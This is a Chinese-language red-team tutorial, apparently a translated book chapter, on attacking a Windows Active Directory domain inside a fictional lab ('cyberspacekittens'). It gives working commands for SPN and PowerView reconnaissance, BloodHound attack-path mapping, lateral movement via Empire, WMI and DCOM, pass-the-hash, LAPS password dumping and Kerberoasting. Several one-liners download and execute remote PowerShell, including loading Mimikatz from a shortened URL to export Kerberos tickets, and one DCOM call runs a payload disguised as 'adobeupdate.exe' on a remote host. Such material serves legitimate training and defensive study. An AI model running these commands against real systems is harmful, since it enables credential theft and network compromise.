利用 Windows 域环境的本地应用程序进行攻击
同样,在下面的示例中,我们将使用 PowerShell Empire。当然,你还可以使用 Metasploit、Cobalt Strike 等类似的攻击框架进行相同的攻击。只要你有能力将 PowerShell 脚本导入内存,并且能够绕过主机系统的任何防护,用什么其实并不重要。
现在的你已经完全空置了受害者的主机,从他们的工作主机偷走了所有的秘密,还了解一些受害者浏览的网站,并运行了一些类似 netstat 的命令进行侦察工作…那接下来是什么?
对于红队队员来说,真正的问题是找到有关服务器、工作站、用户、服务以及他们的 Active Directory 环境的可靠信息。在许多情况下,由于受到网络警报和被抓获的风险,我们无法运行任何漏洞扫描操作,甚至无法运行 NMAP 扫描。那么,我们如何利用网络和服务的“特性”来查找我们需要的所有信息?
Service Principal Names(服务主体名称)
服务主体名称(即 SPN)是 Windows 中的一项功能,它允许客户端能够唯一地标识服务的实例。Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户关联[https://msdn.microsoft.com/enus/library/ms677949(v=vs.85).aspx] 。例如,你可以在那些运行 MSSQL 服务器、HTTP 服务器、打印服务器和其他服务器的服务帐户找到一个用于服务的 SPN。对于攻击者来说,查询 SPN 是爆破阶段的重要部分。这是因为任何域用户帐户都可以查询与 Active Directory 关联的所有服务帐户和服务器的 AD。我们可以在不扫描单个主机的情况下识别所有数据库服务器和 Web 服务器!
作为一个攻击者,我们可以利用这些“特性”来查询 Active Directory。在任何已经加入域的计算机上,攻击者都可以运行 setspn.exe 文件来查询 Active Directory(AD)。此文件是所有 Windows 机器默认自带的 Windows 二进制文件。
- setspn -T [DOMAIN] -F -Q /
- 功能
- -T = 对指定域执行查询
- -F = 在 AD 环境而不是域级别环境执行查询
- -Q = 在每个目标域或林环境上执行
- / = 显示所有
我们可以从 setspn 中看到什么类型的信息?下面,运行 setspn 命令,我们会看到一些在域控制器上运行的服务的信息,还有关于工作站的信息,我们还找到了一个名为 csk-github 的服务器。在这个服务器中,我们可以看到在主机上运行着一个 HTTP 服务。如果这些相同的协议运行在不同的端口上的话,这些信息也会被列出。
setspn 不仅提供有关服务用户和所有主机名的有用信息,它甚至也会告诉我们哪些服务正在系统上什么端口上运行。如果我们可以直接从 AD 中获取服务甚至端口的大部分信息,那为什么我们还需要扫描网络?我们可能马上攻击的东西是什么?Jenkins? Tomcat? ColdFusion?
查询 Active Directory
我不知道曾经有多少次,好不容易找到了一个域用户帐户和密码,却被告知它只是一个没有其他特权的域用户帐户,但不用担心。我们通常可以在打印机,共享信息工作站,带有服务密码的文本文件,配置文件、iPad、包含密码的 Web 应用程序的页面源代码中中找到这些类型的帐户,但是,对于这些没有其他组成员资格的基本域用户帐户,你可以用来做什么?
获取有关 AD 中用户的详细信息
我们可以使用 @harmj0y 创建的名为 PowerView 的工具来帮我们完成所有的复杂的查询操作。PowerView 是一个 PowerShell 脚本,用于在 Windows 域上获得网络拓扑信息。它包含一组纯 PowerShell 命令替换项,用于各种 Windows 系统中的 net
命令,这些命令使用 PowerShell AD hooks 和基础的 Win32 API 函数来执行有用的 Windows 域功能[http://bit.ly/2r9lYnH] 。作为攻击者,我们可以使用 AD 中低权限用户普通的域用户
来利用 PowerView 和 PowerShell 查询 AD(活动目录),甚至不需要本地管理员权限。
让我们通过一个例子来说明我们可以从这个低权限用户那里获得多少数据。在一开始,我们已经在运行 Empire(你可以在 Metasploit、Cobalt Strike 或类似软件都可以),并在受害者系统上执行了 payload。如果你以前从未建立过 Empire,请查看有关建立 Empire 和 Empire payload 的设置章节。一旦我们的代理(agent)与我们的命令和控制服务器通信,我们就可以键入 info
以查找有关受害者的信息。在本例中,我们已经攻陷了运行完整补丁的 Windows 10系统的主机,该系统的用户名为 neil.pawstrong,位于 CyberspaceKitten 的域中。
接下来,我们希望在不引起太多怀疑和注意的情况下从域中查询信息,我们可以使用 Empire 内部的 PowerView 工具来获取信息。PowerView 查询域控制器(DC)以获取有关用户、用户组、计算机等的信息。我们此次使用 PowerView 将只用来查询域控制器,并且使它看起来像正常通信。
Empire 下有哪些模块可用于信息收集呢?
我们可以从 PowerView 脚本的 get_user 的函数名开始。获取指定域中指定查询用户的信息。通过使用默认设置,我们可以获取有关 AD 中用户的所有信息以及相关信息的转储。
Module: situational_awareness/network/powerview/get_user
在上面的转储文件中,我们可以看到关于其中一个用户 purri gagarin
的信息。我们得到了什么类型的信息?我们可以看到他们的 sAMAccountName 或用户名,当他们的密码被更改时,看到他们的对象类别是什么,他们是什么权限组的成员,最后登录的时间是什么,等等。使用这个基本的用户转储,我们可以从目录服务中获得大量的信息。我们还能得到什么样的信息呢?
Module: situational_awareness/network/powerview/get_group_member
get-group-member 返回给特定组的成员,并选择“recurse”以查找所有有效的组内成员。我们可以使用 AD 来查找特定组的特定用户。例如,使用以下 Empire 的设置,我们可以搜索属于域管理组的所有域管理员和组:
- info
- set Identity “Domain Admins”
- set Recurse True
- set FullData True
- execute
现在,我们有一个用户、组、服务器和服务的收集列表。这将帮助我们了解哪些用户拥有哪些特权。但是,我们仍然需要有关工作站和系统的详细信息。这可能包括版本、创建日期、用途、主机名等。我们可以用一个叫做 get_computer 的模块来获得这些信息。
Module: situational_awareness/network/powerview/get_computer
描述:get_computer 模块可以查询域中当前的计算机对象。
get_computer 查询域控制器可以获得什么信息呢?好吧,我们看到我们可以获得关于机器的信息,比如当它被创建时的 DNS 主机名,自定义名称等等。作为攻击者,最有用的侦察细节之一是获取操作系统类型和操作系统版本。在这种情况下,我们可以看到这个系统是 Windows 10 Build 16299版本。我们可以通过获取这些信息,了解操作系统的最新版本以及它们是否在 Microsoft 的发布信息页上存在修补的补丁:https://technet.microsoft.com/en-us/windows/release-info.aspx 。
Bloodhound/Sharphound
我们如何利用在侦察阶段收集的所有信息来创建一条攻击线路呢?我们如何能够轻松、快速地得知谁有权限去调用那些功能?回想一下,我们总是试图直接攻击,让一切都达到我们想要的目的,但这总是会增加被抓住的可能性。
Andrew Robbins,Rohan Vazarkar 和 Will Schroeder 已经创造了一种最好的工具,那就是 Bloodhound/Sharphound。在他们的 Github 页面上显示。“Bloodhound/Sharphound 使用图表理论来揭示 Active Directory 环境中隐藏的、出乎意料的关系。攻击者红队可以使用 Bloodhound 轻松识别高度复杂的攻击路径,否则的话将无法快速识别。防御者蓝队可以使用 Sharphound 来识别和消除对应的的攻击路径。”[https://github.com/BloodHoundAD/BloodHound] 。
Bloodhound/Sharphound 的工作原理是在受害者系统上运行一个 Ingestor,然后为用户、组和主机查询 AD(类似于我们以前手工做的)。然后,Ingestor 将尝试连接到每个系统以枚举登录的用户、会话和权限。当然,这个动静会很大。对于采用默认设置(可以修改)的中型企业网站,连接到每个主机系统和使用 Sharphound 查询信息的时间可能不到10分钟。注意,因为这会接触到网络上每个加入域的系统,所以它可能会让你被发现。Bloodhound/Sharphound 中有一个秘密选项,它只查询 Active Directory,不连接到每个主机系统,但是输出结果非常有限。
目前有两种不同的版本(我相信旧版本很快就会被移除):
- 在 Empire,你可以使用模块:
- usemodule situational_awareness/network/bloodhound
- 这仍然是查询非常慢的旧的 PowerShell 版本
- 最好的选择是 Sharphound,Sharphound 是最原始的 C# 版本 Bloodhound Ingester。这是个更快更稳定的版本。可以用作独立二进制文件,也可以作为 PowerShell 脚本导入。Sharphound PowerShell 脚本将使用反射和 assembly.load 加载已编译 BloodHound C# 版本的 ingestor 并将其捕获。
要运行 Bloodhound/Sharphound Ingestor,你可能需要指定多个集合方法:
- Group - Collect group membership information
- 收集组成员身份信息
- LocalGroup - Collect local admin information for computers
- 收集计算机的本地管理信息
- Session - Collect session information for computers
- 收集计算机的会话信息
- SessionLoop - Continuously collect session information until killed
- 持续收集会话信息直到结束
- Trusts - Enumerate domain trust data
- 列举域内信任数据
- ACL - Collect ACL (Access Control List) data
- 收集ACL(访问控制列表)数据
- ComputerOnly - Collects Local Admin and Session data
- 收集本地管理和会话数据
- GPOLocalGroup - Collects Local Admin information using GPO (Group Policy Objects)
- 使用GPO(组策略对象)收集本地管理信息
- LoggedOn - Collects session information using privileged methods (needs admin!)
- 使用特权方法收集会话信息(需要管理员权限!)
- ObjectProps - Collects node property information for users and computers
- 为用户和计算机收集节点属性信息
- Default - Collects Group Membership, Local Admin, Sessions, and Domain Trusts
- 收集组成员、本地管理员、会话和域信任关系
在目标系统上运行 Blood/Sharphound:
- 运行 PowerShell,然后导入 Bloodhound.ps1 或者 SharpHound.ps1:
- Invoke-Bloodhound -CollectionMethod Default
- Invoke-Bloodhound -CollectionMethod ACL,ObjectProps,Default-CompressData -RemoveCSV -NoSaveCache
- 运行可执行文件:
- SharpHound.exe -c Default,ACL,Session,LoggedOn,Trusts,Group
一旦完成了 Bloundhound/Sharphound,这四个文件将被保存到受害者机器上。下载并处理这些文件,并将它们复制到你的 kali 上。接下来,我们需要启动 Neo4j 服务器并导入这些数据来构建相关关系图。
打开 Bloodhound
- apt-get install bloodhound
- neo4j console
- 打开浏览器访问 http://localhost:7474
- 连接到 bolt://localhost:7687
- 用户名: neo4j
- 密码: neo4j
- 修改密码
- 在一个终端中运行 Bloodhound:
- bloodhound
- 数据库 URL: bolt://127.0.0.1:7687
- 用户名: neo4j
- 密码:新的密码
- 加载数据
- 在右侧,有一个
Upload Data
的按钮 - 上传
acls.csv
,group_membership.csv
,local_admin.csv
和sessions.csv
- 在右侧,有一个
如果你没有一个域来测试这个,我已经在这里上传了四个 Bloodhound 文件:https://github.com/cyberspacekittens/bloodhound ,这样你就可以重复这些练习了。一旦进入 Bloodhound 并导入了所有数据,我们就可以去查询“查找到域管理员的最短路径”。我们还可以选择特定的用户,看看是否可以将路径映射到特定的用户或组。在我们的示例中,我们攻陷的第一个用户机器是 NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL。在搜索栏中,我们输入该用户的用户名,单击 Pathfinding
按钮,然后键入“Domain Admin”(或任何其他用户),查看是否可以在这些对象之间显示对应的路由路径。
你可以从 Neil 的机器上看到,我们可以一路顺利的到 CSK 实验组。在“实验”组中,有一个名为 Purri 的用户,他是 HelpDesk 组的成员。
如果我们能攻陷 HelpDesk 组,我们可以转到 Chris 的主机中,而且 Elon Muskkat 目前已登录此机器。如果我们能转移到他的进程或窃取他的明文密码,我们就可以把权限提升到域管理员!
对于大型网络的扫描结果,我们注意到了 Bloodhound 查询的搜索功能有一些局限性。使用 Neo4j 的一个巨大好处是,它允许通过自己本身的叫 Cypher 的语言进行原始查询。有关自定义查询的 Cypher 的深入研究,请访问:https://blog.cptjesus.com/posts/introtocypher 。
我们可以添加哪种自定义查询?来看吧,@porterhau5在扩展 Bloodhound 跟踪和可视化攻击方面取得了很大进展。查看他们的文章:https://porterhau5.com/blog/extending-bloodhound-track-and-visualize-your-compromise/ 。
从高层次的角度来看,@porterhau5增加了标记被攻陷主机的想法,以帮助更好地在内网漫游。例如,在这个伪造的场景中,我们通过仿冒用户 niel.pawstrong 来危害其他初始用户。使用 Bloodhound 上的 Cypher 语言和原始查询功能,我们可以运行这些查询:
- 向被攻陷系统添加自有标签:
- MATCH (n) WHERE n.name=“NEIL.PAWSTRONG@CYBERSPACEKITTENS.LOCAL” SET n.owned=“phish”, n.wave=1
- 运行查询以显示所有被仿冒的系统
- MATCH (n) WHERE n.owned=“phish” RETURN n
现在,我们可以向 Bloodhound 添加一些自定义查询。在Bloodhound 的“查询”选项卡上,滚动到底部,单击“自定义查询”旁边的“编辑”按钮。用以下内容替换所有文本:
保存之后,我们应该创建更多的查询。现在我们可以单击查找结果“查找从所属节点到域管理员的最短路径”。
如果你想更仔细地研究这个问题,请查看 @porterhau5的 fork 版 Bloodhound。它用标记使被攻陷机器更直观,并允许更多的自定义功能:https://github.com/porterhau5/bloodhound-owned 。
到目前为止,在没有扫描的情况下,我们已经能够获得关于该组织的大量信息。这都是作为本地 AD 用户(域用户)的权限能做到的的,而且在大多数情况下,没有任何网络流量看起来太可疑。正如你所看到的,我们能够做到这一切,而无需成为本地管理员或对本地系统拥有任何管理权限。
Advanced ACL/ACE Bloodhound
当使用 Bloodhound 的收集方法访问控制列表(ACL)类型时,我们的脚本将查询 AD 以收集用户和对象的所有访问控制权限。我们从访问控制项(ACEs)收集的信息描述了用户、组和计算机的允许和拒绝权限。寻找和利用 ACEs 本身就是一个能写成完整的书的内容,但这里有一些很好的启动资源:
- BloodHound 1.3–acl 攻击路径更新
- 介绍对抗性恢复方法
在将 ACL 数据导入 Bloodhound 时,我们要寻找什么信息?Bloodhound 识别出 ACE 中可能存在弱点的地方。这将包括谁有能力更改或重置密码、向组中添加成员、为其他用户更新脚本路径等对象、更新对象或在对象上写入新的 ACE 等等。
怎么使用这个东西呢?当攻陷到某个用户和获得额外的凭证后,我们可以通过目标路径找到一个有能力重置密码或修改 ACE 权限的用户。这将导致会有新的方法来找到到域管理员或特权帐户的路径,甚至允许设置后门以供以后使用。了解这些类型的利用方法的一个很好的资源是:Robbins-An-ACE-Up-The-Sleeve-DesigningActive-Directory-DACL-Backdoors 演讲 。
横向漫游——移动
在一个拥有多个用户的机器上,通常的做法是创建一个新的用户凭证或者迁移不同用户的凭证。这种方法大量用于在环境中横向移动,这并不是什么新鲜问题。通常,从 Bloodhound 输出或共享工作站,作为攻击者,我们需要能够模仿被攻陷的受害者系统上的其他用户。
我们拥有的许多工具可以用不同的方法来实现这一点。比如 Metasploit,我们都应该非常熟悉使用 Post Exploitation 隐蔽框架来窃取 token。
在 Empire 中,我们可以使用窃取 token 来模拟该系统上的用户。我注意到,有时候窃取 token 会让我们的 shell 下线。为了避免这种情况,我们可以将一个新的 agent 注入到另一个用户拥有的正在运行的进程中。
在下面的图片中,我们使用钓鱼让一个员工运行了我们的恶意软件。。这使得我们可以在受害者用户的系统中运行我们自己的程序(neil.pawstrong)。在那个用户的系统上,我们可以转到 BuzzClawdrin 的系统,并用WMI(WindowsManagementInstrumentation)命令执行获得了一个新的 agent。这里的问题是,我们在最初攻击受害者 Neil.Pawstrong 的过程中,因为我们使用缓存的凭证在 Buzz 的主机上生成了一个 shell。因此,我们不应该窃取 token,而应该使用 Empire 的 psinject 功能。
psinject 描述“能够使用 ReflectivePick 将代理注入另一个进程,从而将通用.NET运行库时加载到进程中并执行特定的 PowerShell 命令,而无需启动新的 PowerShell.exe 进程!”[ http://bit.ly/2HDxj6x ],我们使用它来生成一个全新的、以 buzz.clauldrin 的用户进程运行的 agent,这样我们现在就可以获得他的访问权限。
离开初始主机
现在你已经找到了将要移动到的潜在路径,那么获得这些系统的代码执行的选项是什么?最基本的方法是使用我们当前的有 Active Directory 权限的用户以获得对另一个系统的控制权,举个例子,一个经理可以完全访问其下属的计算机,一个拥有多个具有管理权限的会议/实验组计算机,他们的内部系统配置错误,或者发现有人手动将用户添加到该计算机上的本地管理组。这都是普通用户可以拥有远程访问到网络上的其他工作站的可能的一些方式。一旦攻陷了一台目标机器,我们既可以获取 Bloodhound 的结果,也可以重新扫描网络以查看我们在哪些机器上具有本地访问权限:
- Empire 模块:
- situational_awareness/network/powerview/find_localadmin_access
- Metasploit 模块:http://bit.ly/2JJ7ILb
Empire 的 find_localadmin_access 将查询 Active Directory 中的所有主机名并尝试连接到它们。这绝对是一个会造成很大动静的工具,因为它需要连接到每个主机并且验证它是否是本地管理员。
我们可以看到,Empire 的 find_localadmin_access 模块标明了用户访问我们的陷阱的是一个 buzz.cyberspacekittens.local 机器。这应该和我们的 Bloodhound 回显的是一样的。为了再次检查我们是否有访问权限,我通常会执行一些非交互的远程命令,比如 dir [remote system]\C$ 并查看我们是否有对 C 盘的读/写权限。
在域内横向移动方面,有好几种做法。让我们先来看看 Empire 中最常见的(直接从 Empire 中提取的):
- inveigh_relay:Inveigh 的 SMB 中继功能。此模块可用于将传入的 HTTP/Proxy NTLMv1/NTLMv2身份验证请求中继到 SMB 目标。如果成功地中继了身份验证,并且帐户具有较高的权限,则将在目标机器上利用 PSExec 执行指定的命令或 Empire 启动程序。
- invoke_executemsbuild:此函数使用 msbuild 和 inline task(内联任务)在本地/远程主机上执行 PowerShell 命令。如果提供了凭据,则在本地装入默认管理共享。此命令将在启动 msbuild.exe 进程的前后执行,而不启动 powershell.exe。
- invoke_psremoting:使用 psremoting 在远程主机上执行 stager。只要受害者启用了 PSRemoting(这不总是启用的),我们就可以通过此服务执行 PowerShell。
- invoke_sqloscmd:在远程主机上执行命令或着使用 xp_cmdshell 程序。就会反弹回一个 xp_cmdshell!
- invoke_wmi:使用 WMI 在远程主机上执行 stager。发现目标几乎总是启用了 WMI,这是执行 PowerShell payload 的一个很好的方法。
- jenkins_script_console:将 Empire 代理部署到具有对脚本控制台未经身份验证访问权限的 Windows Jenkins 服务器。如我们所知,Jenkins 服务器是常见的,没有凭据通常意味着要使用 RCE 来通过 /script 端点。
- invoke_dcom:通过 DCOM 上的 MMC20.Application COM 对象在远程主机上调用命令。允许我们在不使用 psexec,WMI 或 PSRemoting 的情况下渗透进去。
- invoke_psexec:使用 PsExec 类型在远程主机上执行 stager 功能。这是使用 PsExec 移动文件并执行的传统方法。这可能会触发警报,但如果没有其他可用的方法,这仍然是一个好方法。
- invoke_smbexec:使用 SMBExec.ps 在远程主机上执行 stager。我们可以使用 samba 工具进行类似的攻击,而不是使用 PsExec。
- invoke_sshcommand:通过 SSH 在远程主机上执行命令。
- invoke_wmi_debugger:使用 WMI 将远程计算机上的目标二进制文件的调试器设置为 cmd.exe 或 stager。使用类似 sethc(粘滞键)的调试器工具来执行我们的代理。
- new_gpo_immediate_task:生成“即时”的 schtask 以通过指定的 GPO 推出。如果你的用户帐户有权修改 GPO,此模块允许你将“即时”计划任务推送到可以编辑的 GPO,允许在应用 GPO 的系统上执行代码。
[http://www.harmj0y.net/blog/empire/empire-1-5/]
这些只是一些最简单和最常见的横向内网漫游技术。在本书的后面,我们将讨论一些不太常见的绕过网络的技术。在大多数内网中,通常启用 Windows Management Instrumentation(WMI),因为它是管理工作站所必需的服务。因此,我们可以使用 invoke-wmi 横向移动。由于我们使用的是本地缓存凭据,且我们的帐户可以访问远程主机,因此我们不需要知道用户的凭据。
在远程系统上执行
- usemodule lateral_movement/invoke_wmi
- 设置你即将入侵的主机的相关信息:
- set ComputerName buzz.cyberspacekittens.local
- 配置你将使用的监听器:
- set Listener http
- 连接到远程主机并执行恶意程序:
- execute
- 和新的 agent 交互:
- agents
- interact
- sysinfo
利用 DCOM 的横向移动
有许多方法可以在主机上进行单次横向移动。如果泄露的帐户具有访问权限,或者你能够使用捕获的凭据创建令牌,我们可以使用 WMI、PowerShell 远程命令执行或 PSExec 生成不同的 shell。如果这些执行命令的方法受到监控怎么办?我们通过使用分布式组件对象模型(DCOM)实现一些很酷的 Windows 功能。DCOM 是用于在不同远程计算机上的软件组件之间通信的 Windows 功能。
你可以使用 Powershell 命令列出计算机的所有 DCOM 应用程序:GetCimInstance Win32_DCOMApplication
安全研究员 @enigam0x3 的研究发现( https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ ),有多个对象(例如 ShellBrowserWindow 和 ShellWindows )允许在受害者主机上远程执行代码。当列出所有 DCOM 应用程序(如上图所示)时,你将看到一个 CLSI 为 C08AFD90-F2A1-11D1-845500A0C91F3880 的 ShellBrowserWindow 对象。识别出该对象后,只要我们的帐户有权访问,我们就可以利用此功能在远程工作站上执行二进制文件。
- powershell
- $([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455-00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“c:\windows\system32\calc.exe”)
这将只在系统本地执行文件,并且我们不能将任何命令行参数包含到可执行文件中(因此不能使用 cmd /k 类型的攻击)。相反,我们可以从远程系统调用文件并执行它们,但请注意,用户将收到警告的弹窗。在本例中,我目前在一个受害者的主机 neil.cyberspacekittens.local 上,该主机可以管理访问一个名为 buzz 的远程工作站。我们将在 Neil 的工作站上共享一个文件夹,并托管我们的 payload。接下来,我们可以调用 DCOM 对象在远程受害者(buzz)计算机上执行托管的 payload。
$([activator]::CreateInstance([type]::GetTypeFromCLSID(“C08AFD90-F2A1-11D1-8455- 00A0C91F3880”,“buzz.cyberspacekittens.local”))).Navigate(“\neil.cyberspacekittens.local\Public\adobeupdate.exe”)
正如你在下一张图片中看到的,Buzz 的计算机上出现了一个关于运行 adobeupdate.exe 文件的弹出窗口。虽然大多数用户都会点击并运行这个,但它可能会让我们被目标察觉。
因此,避免这个问题的更好方法是在使用 DCOM 执行该文件之前将该文件移到上面(类似于装载受害者的驱动器)。@Enigam0x3对此做得更进一步,并利用 Excel 宏来使用 DCOM。首先,我们需要在自己的系统上创建恶意 Excel 文档,然后使用 PowerShell 脚本在受害者主机上执行此.xls 文件。
需要注意的一点是,有许多其他的 DCOM 对象可以从系统中获取信息,可能会启动或停止服务等等。这无疑为进一步研究 DCOM 功能提供了很好的起点。
参考文献:
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
- https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
- https://www.cybereason.com/blog/dcom-lateral-movement-techniques
Pass-the-Hash
过去传递本地管理帐户 Pass-The-Hash(PTH)的方法在很大程度上已经开始消失。虽然还没有完全消失,但让我们快速回顾一下。PTH 攻击利用 Windows NTLM 哈希对系统进行身份验证,而不是使用用户的凭据。这是很重要的一点,首先,使用 Mimikatz 这样的工具可以很容易地恢复哈希,可以为本地帐户提取哈希(但需要本地管理员权限),可以从转储域控制器(不是明文密码)中恢复哈希(DCsync)等等。
PTH 最基本的用途是攻击本地管理员。由于默认情况下本地管理员帐户已被禁用,并且出现了更新的安全功能,例如本地管理员密码解决方案(LAPS),为每个工作站创建随机密码,因此通常很少使用上述这种方法。过去,在一个工作站上获取本地管理帐户的哈希值在整个组织中是可以用相同的方法实现的,这意味着一个易受攻击的方案会使整个公司破产。
当然,这要求你必须是系统上的本地管理员,启用本地管理员帐户“administrator”,并且它是 RID 500帐户(意味着它必须是原始管理员帐户,不能是新创建的本地管理员帐户)。
- 执行命令: shell net user administrator
- User name Administrator
- Full Name
- Comment Built-in account for administering the computer/domain
- User’s comment
- Country/region code 000 (System Default)
- Account active Yes
- Account expires Never
如果我们看到帐户处于活动状态,我们可以尝试从本地计算机中提取所有哈希值。请记住,这不会包括任何域账户哈希:
- Empire Module: powershell/credentials/powerdump
- Metasploit Module: http://bit.ly/2qzsyDI
例如:
- (Empire: powershell/credentials/powerdump) > execute
- Job started: 93Z8PE
输出:
- Administrator:500:
- aad3b435b51404eeaad3b435b51404ee:3710b46790763e07ab0d2b6cfc4470c1::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
我们可以使用 Empire(credentials/mimikatz/pth)或者启动可信任的 psexec,提交我们的哈希,并执行我们的自定义 payload,如下图所示:
如前所述,这是一种现在少见的古老的横向移动方式。如果你仍在考虑利用本地管理员帐户,但所处的环境有 LAPS(本地管理员密码解决方案),你可以使用几个不同的将它们从 Active Directory 中转储出的工具。这假设你已经拥有一个域管理员或 Helpdesk 类型帐户的权限:
- https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb
- ldapsearch -x -h 10.100.100.200 -D “elon.muskkat” -w password -b “dc=cyberspacekittens,dc=local” “(ms-MCS-AdmPwd=*)” ms-MCSAdmPwd [https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/]
这是保持横向移动而不注销 Helpdesk 用户帐户的好方法。
从服务帐户获取凭据
如果你发现自己处于一个用户权限受限、无法从内存中提取密码、主机系统上没有密码的情况下,该怎么办…接下来该怎么办?好吧,我最喜欢的攻击之一是 Kerberoasting。
我们都知道 NTLM 存在缺陷,这是由于单向哈希(不含盐)、重放攻击和其他传统问题造成的,这也是许多公司转向采用 Kerberos 的原因。如我们所知,Kerberos 是一种安全的方法,用于对计算机网络中的服务请求进行身份验证。我们不会深入研究 Windows 中的 Kerberos 实现。但是,你应该知道域控制器通常充当票据授予的服务器;网络上的用户可以请求票据授予服务器以获取资源访问权的凭证。
什么是最严重的攻击?作为攻击者,我们可以掌握我们之前提取的目标服务帐户的任何 SPN 请求 Kerberos 服务票证。漏洞在于,当从域控制器请求服务票据时,该票证使用关联的服务用户的 NTLM 哈希加密。由于任何用户都可以请求任何票据,这意味着,如果我们可以猜测关联服务用户的 NTLM 哈希(加密票据的)的密码,那么我们现在就知道实际服务帐户的密码。这听起来可能有点令人困惑,所以让我们来看一个例子。
与以前类似,我们可以列出所有的SPN服务。这些是我们将为其提取所有 Kerberos 票据的服务帐户:
- setspn -T cyberspacekittens.local -F -Q /
我们可以将单个用户的 SPN 作为目标,也可以将所有用户的 Kerberos 票据拉入用户的内存中:
- 针对单个用户:
- powershell Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “HTTP/CSK-GITHUB.cyberspacekittens.local”
- 将所有用户票据拖到内存中
- powershell Add-Type -AssemblyName System.IdentityModel;IEX (New-Object Net.WebClient).DownloadString(“ https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1 ”) | ForEach-Object {try{New-ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.ServicePrincipalName}catch{}}
- 当然,你也可以使用 powersploit 执行此操作:
如果成功的话,我们已经将一个或多个不同的 Kerberos 票证导入到受害者计算机的内存中。我们现在需要一种方法来提取票据。我们可以使用好工具 Mimikatz Kerberos 导出:
- powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/2qx4kuH’); Invoke-Mimikatz -Command ’”““kerberos::list /export”””’
一旦我们导出这些票证,它们将仍会驻留在受害者的机器上。在我们开始破解它们之前,我们必须从它们的系统中下载它们。请记住,票据是用服务帐户的 NTLM 哈希加密的。所以,如果我们能猜到 NTLM 哈希,我们就可以读取票据,现在也知道服务帐户的密码。破解账户最简单的方法是使用一个名为 tgsrepcrack 的工具(JTR 和 Hashcat 也支持破解 Kerberoast,稍后我们将讨论)。使用 Kerberoast 破解票证:
- 使用 Kerberoast 来破解票据:
- cd /opt/kerberoast
- python tgsrepcrack.py [password wordlist ][kirbi ticketss - *.kirbi]
在这个例子中,服务帐户 csk-github 的密码是“p@ssw0rd!”
当然,Empire 有一个 PowerShell 模块为我们做所有需要做的事情。它位于 powershell/credentials/invoke_kerberoast 目录下( https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1 )。
你可以用 John the Ripper 甚至 Hashcat 来破解密码并输出结果。我以前在非常大的网络环境中运行 PowerShell 脚本时遇到过一些问题,因此,退一步的方法是使用 PowerShell 和 Mimikatz 将所有的票据都获取下来。